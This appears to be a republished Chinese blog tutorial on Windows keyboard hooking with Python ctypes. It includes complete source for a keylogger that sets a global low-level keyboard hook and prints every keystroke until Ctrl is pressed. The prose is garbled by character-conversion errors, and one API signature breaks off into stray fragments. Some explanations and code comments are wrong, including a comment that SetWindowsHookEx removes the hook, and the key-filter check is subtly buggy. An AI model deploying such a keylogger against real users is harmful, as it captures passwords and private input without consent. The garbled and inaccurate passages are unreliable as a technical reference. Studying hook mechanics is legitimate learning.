天天看點

使用ctypes子產品進行鍵盤鈎取

原理:

使用user32.dll提供的SetWindowsHookExA函數,可以設定鈎子。當有消息到來或發生滑鼠、鍵盤輸入事件時,作業系統提供了中間攔截機制,這稱為“鈎子”。從功能上實作這種機制的函數稱為鈎子過程(回調函數)。作業系統支援為一個鈎子類型(滑鼠點選、鍵盤輸入等)設定多個鈎子程序,并通過鈎鍊管理連結清單。鈎鍊是關于鈎子過程的指針連結清單。鈎子分為本地鈎子與全局鈎子。本地鈎子針對特定線程設定的,全局鈎子針對作業系統中運作的所有線程設定。

使用ctypes子產品進行鍵盤鈎取

用到的dll:

Windll:ctypes子產品中動态連結庫的加載方式,用于加載遵循stdcall調用約定的動态連結庫

kernel32.dll:Windows9x/Me中非常重要的32位動态連結庫檔案,屬于核心級檔案。它控制着系統的記憶體管理、資料的輸入輸出操作和中斷處理,當Windows啟動時,kernel32.dll就駐留在記憶體中特定的寫保護區域,使别的程式無法占用這個記憶體區域。

user32.dll:是Windows使用者界面相關應用程式接口,用于包括Windows處理,基本使用者界面等特性,如建立視窗和發送消息。

用到的函數:

HHOOK SetWindowsHookEx(

int idHook, //要安裝的鈎子類型 (參考下面的IdHook取值)

其中idHook參數可以如下常量:

WH_KEYBOARD //當敲擊鍵盤時将觸發此鈎子

pointer,

windll.kernel32.GetMoudleHandleW(None),

0)

GetModuleHanleW():GetModuleHandle是一個計算機函數,功能是擷取一個應用程式或動态連結庫的子產品句柄。

UnhookWindowsHookEx():函數SetWindowsHookEx的傳回值.要删除的鈎子的句柄。

CFUNCTYPE():若想注冊鈎子過程(回調函數),必須傳入函數指針。ctypes為此提供了專門的方法。通過CFUNCTYPE()函數指定SetWindowshookExA()函數所需要的鈎子過程的參數與參數類。通過CMPFUNC()函數擷取内部聲明的函數指針

CallNextHookEx():CallNextHookEx是一種函數,可以将鈎子資訊傳遞到目前鈎子鍊中的下一個子程,一個鈎子程式可以調用這個函數之前或之後處理鈎子資訊。

GetMessageA():函數功能:擷取視窗的消息。

源代碼:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

#1.使用windll:使用windll聲明user32與kernel類型的變量。使用相應DLL提供的函數時,
#格式為user32.API名稱或kernel.API名稱。
user32 = windll.user32
kernel32 = windll.kernel32

#2.聲明變量:在win32API内部定義并使用的變量值,可以通過MSDN或者網絡搜尋輕松擷取,
#将其聲明為變量并事先放入變量
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

#3.定義類:定義擁有挂鈎與拆鈎功能的類
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #4.定義挂鈎函數:使用user32DLL的SetWindowsHookExA函數設定鈎子。 要監聽的事件為
    #WHKEYBOAD_LL,範圍設定為作業系統中運作的所有線程
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    #5.定義拆鈎函數:調用user32Dll的SetWindowsHookEx()函數,拆除之前設定的鈎子。
    #鈎子會大大增加系統負荷,調用完必須拆除
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

#6.擷取函數指針:若想注冊鈎子過程(回調函數),必須傳入函數指針。ctypes為此提供
#了專門的方法。通過CFUNCTYPE()函數指定SetWindowshookExA()函數所需要的鈎子過程
#的參數與參數類。通過CMPFUNC()函數擷取内部聲明的函數指針
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#7.定義鈎子過程:鈎子過程是一種回調函數,指定事件發生時,調用其執行相應處理。若
#到來的消息類型是WM__KEYDOWN,則将消息值,輸出到螢幕;若消息與<CTRL>鍵的值一緻,
#則拆除鈎子。處理完畢後,将控制權限讓給勾連中的其他鈎子過程(CallNextHookEx()函數)
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print(hookedKey)

    if(CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.傳遞消息:GetMessageA()函數函數監視隊列,消息進入隊列後取出消息,并傳遞給勾連中的
#第一個鈎子
def startKeyLog():
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)

#9.啟動消息鈎取,首先創造KeyLogger 類,然後installHookProc()函數設定鈎子,同時
#注冊鈎子過程回調函數。最後調用startKeyLog()函數,将進入隊列的消息傳遞給勾連
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
       print("installed keyLogger")

startKeyLog()

           

在xp上運作結果:

使用ctypes子產品進行鍵盤鈎取
使用ctypes子產品進行鍵盤鈎取

繼續閱讀